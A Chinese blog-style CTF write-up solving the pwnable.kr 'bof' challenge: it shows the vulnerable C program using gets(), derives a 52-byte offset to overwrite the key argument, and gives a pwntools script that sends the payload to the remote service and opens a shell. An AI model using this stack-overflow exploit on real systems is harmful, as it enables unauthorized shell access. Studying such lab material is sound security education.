有一两周没更新了,坚持... 接着前边继续第三篇bof.
这次让我们直接下载bof.c,以及bof文件.分析代码和文件,然后在pwnable.kr 9000执行,获取flag
1.先看下bof.c的代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
gets() 函数的功能是从输入缓冲区中读取一个字符串存储到字符指针变量 str 所指向的内存空间。直到遇见空字符为止.如果我们输入的字符超过了32个字符,在代码中未做其他措施, 会溢出到变量char overflow[32]之外的内存空间.包括本函数的局部变量,参数,返回地址,及ebp. 具体可参考这篇文章:https://mp.csdn.net/postedit/47749603. 我们下边也会简单分析下.
2.分析完代码,我们知道了我们输入到命令行 的字符会覆盖掉key原本的值, 我们要做的就是是覆盖后的值是0xcafebabe. 那么问题来了,怎么找到参数key的内存地址呢? 或者找到key和overflow的地址偏移.
3.可以留意下bof的文件格式.显示是elf文件格式,由gcc编译而成.
4.我们将bof文件拖到ida中,按下F5看一下.main函数中的func即是第二幅图
5. 可以看到: char s; // [sp+1Ch] [bp-2Ch]@1
s即为overflow的其实地址,bp-2Ch. 看下边一副图,来源于网络.也可以参考上边说的另一篇文章.
参数key的位置是ebp+8. overflow的起始位置是ebp-2Ch. 转化为十进制是2C+8 = 52. 即输入命令行参数时 要
52* '任意字符 ' + "\xbe\xba\xfe\xca"
使用pwntools写脚本:
# -*- coding:utf-8 -*-
import pwn
r = pwn.remote('pwnable.kr',9000)
r.send('a'*52+pwn.p32(0xcafebabe))
r.interactive()